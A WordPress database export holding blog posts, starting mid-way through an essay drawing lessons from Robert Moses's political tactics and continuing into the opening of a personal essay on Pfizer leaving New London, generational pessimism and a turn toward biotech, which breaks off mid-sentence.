era, there are few people who are as idealistic as Moses and still willing to debase themselves that much or get that many of their former allies mad at them. Not many people can keep visions of the world’s greatest public park in their head while they are carrying out backdoor shenanigans to secretly screw over a politician’s rival, nevermind while getting called a devil by other idealists. But this sort of pragmatism is necessary to get things done. You just have to be careful not to lose your soul.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>2. Know the rulebook and use it.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the reasons Robert Moses was so able to get things done for Al Smith and for FDR was that he knew the rulebook better than anyone else. This was both the literal rulebook, namely the book of laws for New York State, and the figurative rulebook, namely all the various hidden interests of the various power players in New York politics. By mastering these, Robert Moses was able to draft laws that furthered his interests as much as possible and kept important people as happy as necessary.<br><br>For instance, in his original bill establishing the Long Island State Parks commission, he drafted the bill to use a questionably legal definition of “appropriate” that dated back to an unused law from the 1880s. When New York State legislators passed the bill, they unknowingly gave Moses the power to take land from landowners and pay for it later, instead of what they thought they were doing, which was give Moses the power to buy landowners’ land by mutual agreement. By the time they realized this, Moses had already appropriated a huge amount of land to build the parkway (although this did eventually end up with a huge legal headache for Moses).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!ykXj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa080241f-304f-4a37-b935-e4384ace5d8f_1200x630.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!ykXj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa080241f-304f-4a37-b935-e4384ace5d8f_1200x630.jpeg\" alt=\"What could improve safety on the Southern State Parkway?\" title=\"What could improve safety on the Southern State Parkway?\"/></a><figcaption class=\"wp-element-caption\">This is the Southern State Parkway, which is what Robert Moses stole/appropriated a bunch of people’s land for. I think we’re too inured to the wonders of highways now to appreciate this. I was listening to a great video essay a while back on the old Lincoln Highway by one of my favorite Youtubers, Noah Caldwell-Gervais, and he describes how one of the main strategies of the builders of the Lincoln Highway was just to pave one mile at a time near a town, so that drivers could experience how amazingly smooth driving on a paved road was and they’d beg their state to pave move. We’re spoiled now is what I’m saying.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This knowledge of hidden levers and clever dealmaking is just as advantageous in the modern day as it was in Moses’s. I can’t speak too much on modern politics, because I don’t follow it closely. But, it does remind me of the clever, complicated initial structuring of Axovant, the company that made Vivek Ramaswamy rich. Ramaswamy incorporated Axovant in Bermuda, as well as Roivant, the parent company. Ramaswamy took Axovant public, but kept Roivant private and controlled by him and his family/colleagues. This allowed Ramaswamy to not only get rich off of the IPO, but maintain control of Axovant no matter what happened, and use the money that Axovant generated from its IPO to pay Roivant for “services”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Axovant, as a company, failed pretty soon after its IPO. It then limped along for several years until it was finally discontinued. However, much of the money that Axovant generated from its IPO flowed up to Roivant and Ramaswamy, so this ended up being a great deal for the company and the man. Roivant, since then, has actually used the money quite wisely, especially since Ramaswamy left, developing good drugs in a range of areas and making lots of money off of them, in large part by more clever dealmaking. Ramaswamy, on the other hand, has used the money to try to become the Indian Donald Trump.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, overall, it’s a mixed bag on whether Axovant’s clever structuring was good for humanity. It was certainly bad for retail investors who invested in the initial IPO, suckered in by Ramaswamy’s clever storytelling. But it’s a great example of how knowing the rules and the levers of power is a useful way to get stuff done in complex, heavily regulated worlds like finance and biotech.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>3. Make visible progress</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Whenever Moses would get any amount of funding or power, he would drive his people incredibly hard to make some amount of visible progress. This might be laying the foundation for a road, building a cabin, or clearing land. He did this for a few reasons:<br><br>a. It showed that there were real, concrete gains to be made from giving Moses power, in a way that was only theoretical otherwise</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b. It allowed Moses to use the sunk cost fallacy, as legislators would be loathe to take away his budget (or deny him budgetary overruns) and leave works half-finished</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c. It got a bunch of people actively involved and rooting for the project’s success, even if they were just bystanders</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Moses would even half-complete a bunch of projects instead of fully completing one to maximize the visibility of his progress, relying on the sunk cost fallacy to get the rest of his projects finished. In other words, if each road cost $2 million each, and he had $10 million, he would drive his people at a breakneck pace to complete 10 roads halfway, then, by the time the legislature realized he ran out of money, he’d be back in front of them asking for $10 million more to complete all 10.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!hBmk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fffec1391-3df5-4587-8a7a-8298944905a6_2560x1854.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!hBmk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fffec1391-3df5-4587-8a7a-8298944905a6_2560x1854.jpeg\" alt=\"undefined\" title=\"undefined\"/></a><figcaption class=\"wp-element-caption\">He also used the same approach for the Triborough Bridge, which he played a major part in building. To give you an idea of what it was like to watch him work, here’s&nbsp;<a href=\"https://www.archives.nyc/blog/2023/11/3/united-the-boroughs-the-triborough-bridge\">a description of the building of the bridge</a>&nbsp;from a contemporary reporter: “The project makes light of any obstacle in its path. City blocks vanish. Narrow streets are widened as if a titanic wedge were hammered through them between their confining house walls. Creeks surrender to concrete arches. Piers rise for approaches to bridges that will set arms of the sea at naught, even deadly Hell Gate.”</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This emphasis on visible progress set Moses apart from other politicians of his time (or, indeed, our time). The standard politician, if given a $10 million budget to build roads, would spend the first 5 years slowly figuring out who to give money to through “condemnation” and negotiations over the road placement<a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-3-149354469\">3</a>. Robert Moses established his reputation as a guy who got things done by showing such visible progress, which then made people more inclined to give him the money to get more things done.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>4. Go tit-for-tat: reward those who stand with you, punish those who stand against you</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Moses was famous during his own time for being an exciting, demanding boss to work for. His philosophy towards his employees could be summed up something like the following:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a. Hire the best</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b. Demand their best work and accept nothing less</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c. Give them freedom</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d. Work them day and night</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e. Pay them well</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was true for his manual laborers, who he had work on 8 hour shifts, morning, noon, and night. This was true for his architects, who’d be given incredible leeway to spend as much money as possible to redesign New York City, but harshly critiqued if they made a mistake. And this was true for his surveyors, who’d be sent out into the wilderness and told to survey land and report back, nevermind who was there already or claimed they didn’t want surveyors on “their” land<a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-4-149354469\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For those who dreamed of making an impact, architects and engineers who had been held back by lesser men with smaller budgets, this was a dream job. For those who wanted free time, family life, or not to be yelled at, this was a rough time. Those who were able to stick it out, though, were rewarded not just with impact, but with all of the perks that Robert Moses could squeeze out of the legislature for them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All this was well known during Moses’s time. What was less well known, and what was revealed in&nbsp;<em>The Power Broker</em>, is how Moses treated anyone in his way of gathering absolute power over the physical structure of New York. Those people he crushed.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Speak out against Moses’s plan for a park? Get a letter sent about you to every legislator in New York accusing you of being a bully. Refuse to give your land to Moses? Get your house knocked down. Speak out against your house getting knocked down? Get called a rich, selfish prig on the front page of every newspaper in New York.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Moses operated on a very simple principle: if you were with the people of New York, then you were with him and his plans and you were good. If you were against him or his plans in any way, then you were against the people of New York and you were bad. Moses learned enough from being crushed as an idealist to temper this strict moralism with alliances made from expedience, but it never really left him.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!G26v!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f4c13b2-d66a-4cb6-a63d-f0dd0d59ed3d_2396x1884.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!G26v!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f4c13b2-d66a-4cb6-a63d-f0dd0d59ed3d_2396x1884.jpeg\" alt=\"Robert Moses, \'Trapped in a Dream\': How a Leader Can Go from Hero to  Villain — Jim Carroll\'s Blog\" title=\"Robert Moses, \'Trapped in a Dream\': How a Leader Can Go from Hero to  Villain — Jim Carroll\'s Blog\"/></a><figcaption class=\"wp-element-caption\">The man himself. It helped that he was a big, athletic, energetic guy. When he was happy, everyone knew it. And when he was angry, everyone really knew it.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It’s rare to see this sort of crusading attitude in a public official, especially nowadays. It makes me think much more of our capitalist crusaders, like Steve Jobs or Elon Musk, who have that same combination of grand vision, ability to inspire loyalty, and vindictiveness. The only thing that Moses was missing was the ability to fire people on a whim, but that was mostly just because of worker protections. Besides, as Moses found, scheduling people to start work at 2 am 7 days a week worked just as well as a firing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>5. Get the public on your side</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Moses had a lot riding against him at all times. He was arrogant, vindictive, and frequently operated outside the bounds of the purview of his office and even the law. This placed a target on his back that was quite justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But Moses always had an ace up his sleeve: the public. The public, and their newspapers, adored him. He was the man who brought roads and parks to New York. A lot of wrongdoing could be forgiven or papered over because of this, especially when Moses’s point of view on the wrongdoing would get front page and his opponent’s would get page 25.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The public’s adoration of Moses was not an accident. Besides his aforementioned strategy of making visible progress, Moses also deliberately cultivated an image of a high-minded reformer in his press relations. Similarly, he made an effort to demonize his opponents in his press relations.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This strategy paid off in spades numerous times. Every time a politician tried to get in Moses’s way, Moses would threaten to quit. Most of the time, the politician was so afraid of the backlash from the famous reformer Robert Moses quitting a project that they’d give in and let him get his way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!VorE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60f58a5f-0db8-4835-ae5b-506d5ee0d7ea_360x537.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!VorE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60f58a5f-0db8-4835-ae5b-506d5ee0d7ea_360x537.png\" alt=\"ROBERT MOSES\' RICH LEGACY FOR L.I. - The New York Times\" title=\"ROBERT MOSES\' RICH LEGACY FOR L.I. - The New York Times\"/></a><figcaption class=\"wp-element-caption\">For example, Robert Moses was lauded on the front page of the&nbsp;<em>New York Times</em>&nbsp;constantly.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Of course, it’s not exactly surprising for a politician or someone involved in politics to try to sway the public to their side. It’s practically in the job description. However, Moses’s unique position as an unelected politician with unclear and ever expanding job description allowed him to use public opinion to great effect. Similarly, his portrayal of himself as an enlightened reformer above the fray of normal politics allowed him to transcend party lines in a way that would have been difficult otherwise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>6. Establish your own fiefdom</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>None of Moses’s accomplishments would have been possible if he had been under the control of anyone else. In fact, almost all of the above was in service, somehow, to his independence. His cultivation of powerful friends and loyal employees, his legal and extralegal maneuvering, his establishment of himself as a beloved public figure: all of it served to make him a singular entity to the greatest extent possible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As soon as Robert Moses could, he set himself up with his own fiefdom. In his department, which was, eventually, the Department of Parks of New York City<a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-5-149354469\">5</a>, he set himself up with sole control of the multimillion dollar budget, including hirings and firings. To get himself to this level of control required decades of effort and a lot of clever maneuvering, including multiple laws he wrote himself and got passed through the legislature.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This culminated with his control of the Triborough Bridge and Tunnel Authority. Not only did Moses control the tolls from this bridge that he designed and got built almost single handedly, but he also gave himself the power to issue more bonds based off of those tolls, without voter approval. This gave Moses a huge budget to control by himself, about $2.3 billion over the course of his control of the bridge, which was frequently, on an annual basis, greater than the budget of New York City itself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To find a parallel, I again have to turn to capitalism, as I really am not aware of anyone who has that amount of power in politics anymore, outside of dictators. If I was more versed in political history, this might be an appropriate time to bring in, say, Lee Kuan Yew, or even Robert Moses’s sometimes ally, frequent rival FDR. But, instead, I’ll bring in Mark Zuckerberg, who famously has structured Facebook’s stock with a dual class structure that gives him control over Facebook’s future without owning a majority of Facebook’s shares. This has allowed the Zuck to make huge bets with other people’s money, including his recent $20b foray into the Metaverse and gigantic foray into open source AI.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They say there’s an African saying that goes something like, “If you want to go fast, go alone. If you want to go far, go together.” But, I think that’s mostly said by the slowest person on the group project. In reality, if you want to do big things, you need control of your own destiny.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-anchor-1-149354469\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As opposed to his personal failings, which are not only fair game to slag on but almost impossible not to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-anchor-2-149354469\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t want to start another paragraph with “People”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-anchor-3-149354469\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Having a road built on top of your land destroyed it. Having a road built next to your land made it way more valuable, assuming you wanted traffic. You can imagine how negotiations tended to go based on this fact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-anchor-4-149354469\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“My land, soon,” thought Robert Moses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/lessons-on-getting-things-done-from#footnote-anchor-5-149354469\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is misleading because he had control over a lot more of the physical infrastructure of New York City and New York State than the parks, including the bridges and the roadways, thanks to his multiple appointments throughout the City and the State.</p>\n<!-- /wp:paragraph -->','Lessons on getting things done from Robert Moses','','inherit','closed','closed','','489-revision-v1','','','2025-07-03 19:22:56','2025-07-03 19:22:56','',489,'https://trevorklee.com/?p=490',0,'revision','',0),
(491,1,'2025-07-03 19:24:17','2025-07-03 19:24:17','<!-- wp:paragraph -->\n<p>As I’ve mentioned before on this blog, I was raised in the suburbs of Connecticut during the 90s and 2000s in a town called Waterford, right next to the small city of New London. The defining event of my town’s existence during my growing-up years was the abandonment of New London by Pfizer, the pharmaceutical giant. Pfizer was the main source of white collar jobs in my town, and many of my friends’ parents were employed by them. Right as I was about to enter high school, Pfizer decided to close their R&amp;D plant in New London, lay off their senior people, and tell all their junior people that they were moving to Groton, CT, a few miles away.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ironically, this occurred just a few years after the single biggest court case in the city’s history, the Supreme Court case&nbsp;<em>Kelo v. City of New London</em>, which revolved around the city of New London seizing the property of local homeowners for a Pfizer-anchored redevelopment project. The city did successfully seize the property, but once Pfizer moved out from New London, the developer couldn’t get any additional funding. The property remains an empty lot to this day, while the cost to the city and state reportedly amounted to $78 million in total.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!_fMF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0977f4c4-2d6c-4047-be7f-7feb5c9958b9_1734x1460.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!_fMF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0977f4c4-2d6c-4047-be7f-7feb5c9958b9_1734x1460.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">From my local newspaper,&nbsp;<em>The Day.&nbsp;</em>At the time, Pfizer said they were moving “most” of the 1400 jobs to their Groton campus, a few miles away. As far as I can tell from what happened to my friends’ parents, “most” was an overstatement, and a lot of those R&amp;D jobs were just eliminated. They did eventually open another R&amp;D plant in Cambridge, MA, not too far from where I am now, and presumably have hired back some of those people.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>There’s a lot I can say about this pair of events. There’s:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. The shortsightedness on the part of the city to not guarantee their anchor tenant would stay in place before they spent $78 million and went to the Supreme Court&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. The questionable merger of state power with private advancement when a city seizes property for the benefit of a developer&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. This arrogant Robert Moses-esque focus on top-down development at the expense of bottom-up, although carried out way more sloppily than Moses ever did or would have.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. A cavalier waste of public resources with little to show for it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, overall, what comes to mind is cynicism. There’s a cynicism in the actions of Pfizer and of New London. Pfizer’s cynicism is obvious: they saw all this hubbub going on for their benefit, used their weight to make sure the decision went their way, and then decided to pull out anyways, not caring about the lives ruined in the process. New London’s cynicism is a little more under the surface, but still there: after they won the Supreme Court case, officials in New London announced plans to charge the residents of those houses tens of thousands of dollars in back rent, backdated from the start of the court case 5 years ago. It wasn’t exactly the action of a gracious victor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think this cynicism comes out of pure meanspiritedness, though. Instead, I think it’s a sort of pessimism. I think both Pfizer and New London believed that their best days were behind them. As a company and a city, respectively, they needed to get out while the getting was good. The individuals in those organizations, too, acted desperately, trying to get resources for themselves at the expense of others. When the ship strikes an iceberg, most people commandeer lifeboats for themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I assume this was their mentality because that was, generally, the mentality that I was raised with. My area of Connecticut had seen nothing but downturn since I was born. The only industries for smart young people to aspire to enter were finance, medicine, or law, or, barring that, academia. Notably, none of those are productive industries in the sense that none of those make the things of daily life. And while, sure, a few of my classmates entered engineering (notably those few who were strong in math but weak in liberal arts), they ultimately aspired to be managers. The goal was to get away from making things, not towards them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This wasn’t unique to my corner of America, of course. This was in the water, generally. The only big change that happened as I got slightly older is that programming, once again, became lucrative. So, once I got to college, many of my smart classmates didn’t only aspire to be in finance, medicine, or law (or consulting, a career track that I did not know existed in high school). They also aspired to be overpaid programmers. Programmers of what, you might ask? It didn’t really matter. Programmers of apps, or ads, or websites, or databases, or mobile games. The important thing was that they would get paid $200k first year out of college and get to eat snacks all day.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At no point did anyone in my high school or college, either student or teacher, express any optimism about the future besides a vague hope that things in the future would be more equitable. Like, there was a hope that the playing field would be leveled, that everyone would have the same “privilege as the straight white man”, as the parlance of the time went. I actually don’t think this was terrible: America made some significant gains in gay rights and in not being jerks to minorities, although some of the latter backlash went too far. Still, it was revealing that that was it. Nobody could imagine their future life being better than, like, George W. Bush’s life in the year 1999.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To some extent, this might have just been a failure of perspective. After all, the Kindle came out in 2007, when I was 14, and I distinctly remember feeling like a device that you could read books on and that could connect to the Internet was pretty close to the fictional, futuristic handheld encyclopedia-of-everything Hitchhiker\'s Guide to the Galaxy from the book series of the same title. And I lived through and was acutely aware of the insane pace of videogame graphics and AI advancement, given that I begged my parents for each new title and console.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, somehow, those genuine technical achievements, as well as the other ones that swept across my landscape (like smartphones), never registered. I never once heard of any of my classmates wanting to work for Amazon or Apple, or to create anything similar. Apple’s products seemed as mysterious in their creation as, well, apples themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Funnily enough, crypto guys were the first people I heard elucidate a unique, positive vision of the future, one in which they played an active role. My first in-person encounter with a true believer in crypto was my freshman year hallmate, Pranav, who mined bitcoin on his laptop (this was 2011, when that was still feasible). Like most of the early bitcoin adopters, Pranav mined bitcoin not because he was interested in becoming rich. Being rich off of bitcoin didn’t even make sense at that stage. He mined bitcoin because he thought there was some small chance that it was the currency of the future, and, besides, it was just plain cool to be able to buy pizza with the proceeds of a cryptographic algorithm.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pranav, and those other early crypto guys, had a vague vision of a future in which money was permissionless and frictionless. Anyone could own money, nobody could be de-banked, their money would be theirs to keep and do with as they wished, and money transfers would be effortless and free. In this crypto future, our laptops would be our banks, and our USB drives would be our wallets.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This future largely did not come to pass. There were always problems with this idea and, as it turns out, crypto is a much better tool for asset speculation than currency, with some exceptions. I felt that way then, too, and told Pranav as much. Later on, once Pranav pivoted to quantum computing, getting a PhD then starting and selling a startup in it, he told me that I was right about bitcoin after all. This was, of course, after Pranav had mined a number of bitcoins, held them for a while, then sold them for a healthy profit, while I did none of those things and did not make money. But, at least I won the argument.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, that was my first encounter in real life with someone who had an optimistic, positive view of the future, one in which the future was better for everyone than the present we had today. I was 18. Nuts, right? By that point, I had been exposed to numerous futuristic dystopias in school and at home, both fictional, like&nbsp;<em>The Giver&nbsp;</em>and&nbsp;<em>Brave New World</em>, and seemingly prophetic, like<em>&nbsp;An Inconvenient Truth</em>. But, to get an idea of a futuristic utopia, I had to go all the way back to&nbsp;<em>The Jetsons</em>, a cartoon from the 50s that I never even watched and was only vaguely aware of. My next best option after that was&nbsp;<em>Mass Effect</em>, a videogame series which is mostly an epic space opera about ancient robot aliens taking over the galaxy, but which is set in a future in which technology has solved pretty much all issues of scarcity and disease, at least until the ancient robot aliens start turning crucial members of society into zombies (it makes more sense in context). That was almost it for optimistic visions of the future.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result of this, I didn’t have a clear idea of the future I was working towards when I graduated college. I didn’t feel like I fit into the doctor/lawyer/consultant mode, and my college GPA agreed. I decided to strike out on my own and do test prep while doing projects on the side. This did feel a little like making a positive contribution towards a future world, in that I was helping people become a bit smarter, at least in an academic sense. But the link between that and&nbsp;<em>The Jetsons</em>&nbsp;utopian future was so sketchy as to be nonexistent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In that way, I think I was much like many people of my generation. A lot of us had a vague yearning to create a better future. The cynicism and pessimism of our parents’ generation, with endless worrying about terrorism, moral decline, and “protecting what’s yours” was exhausting. And sure, many of us just turned to doomerism of our own (and many of us are still stuck there). But, for the builders and dreamers among us, we wanted to create that ideal future.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It seemed impossible, though. Building the future cost money, and money was only available for ventures that, ironically, didn’t seem to require money to expand, like apps, crypto, and SaaS. So, we ended up awkwardly shoehorning our utopian desires into mundane startups and businesses. We were forced to claim that our digital analytics or ridesharing apps would make the world a better place, like the only thing that stood between where we are today and a future of abundance was correct view attribution on mobile ads.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, don’t get me wrong, I think some of these innovations were actually good. Uber and Airbnb provided much needed competition for taxis and hotels. Facebook was and is actually pretty convenient for social stuff. Even my small education business was a lot better than the Kaplans of the world, although I never was able to figure out how to scale it like a Kaplan and still maintain any semblance of quality.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But we weren’t building anything that was really going to take us into the future. The utopian future of&nbsp;<em>The Jetsons</em>&nbsp;or even&nbsp;<em>Mass Effect</em>&nbsp;had a world without diseases, with robots who did our menial labor, and spaceships that whisked us between the stars in seconds. No number of note-taking apps, email marketing platforms, or dog-walking websites were going to get us there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is very obvious to me now looking back. At the time, though, I think I only had a vague sense of things not quite fitting. On the one hand, I heard endless pronouncements of the end of the world in 50 years, usually due to climate change. On the other hand, the smartest people I knew were working on things that were, well, trivial in comparison.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I fully admit that this blindness was my fault, or at least my choice. I had heard the pronouncements of Elon Musk about humans needing to be an interplanetary species and Peter Thiel about humanity choosing flying cars over 140 characters, and I responded with cynicism and willful ignorance. I could have gone future-first much earlier and chosen to surround myself with those few people who were trying to build the future. But, I’ve never been the type to be particularly impressed with engineering, anyhow, even as I appreciate its importance. It was hard for me to imagine myself working on spaceships or flying cars, or even being a particularly early user of them. Peter Thiel’s and Elon Musk’s future worlds didn’t feel like mine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It took a big shock to the system for me to start really thinking about the future. That came in the form of COVID. As Boston, then America, shut down, and as we were bombarded with apocalyptic messages (pandemics! mass death! hospital paralysis! race riots! police brutality!), I came to two startling realizations:<br><br>1. The only way out of this was technology</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. There are no adults behind the scenes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, I didn’t mean there were literally no adults behind the scenes. I just meant that watching the American policy apparatus continually bungle the COVID response and watching public health officials operate about 6 months behind the release of every new study made me realize that the people who I had been relying on to bring about the future were no smarter than I was. In a lot of cases, they were dumber, or at least seemed to be from their decisions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then, on the other hand, watching the rapid development of therapeutics and vaccines for COVID, most notably the mRNA vaccine, was downright inspiring. This, at last, seemed like an optimistic future coming into the present. More than the iPhone, more than the Xbox, more than the Tesla: the COVID vaccine, developed in weeks and “programmed” against a novel virus, made me realize that a bright future was coming to me at last. It seemed obvious to me that while COVID was temporary, these innovations would be forever and they’d just keep coming.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That realization is what started my biotech journey, really. I started reading papers and 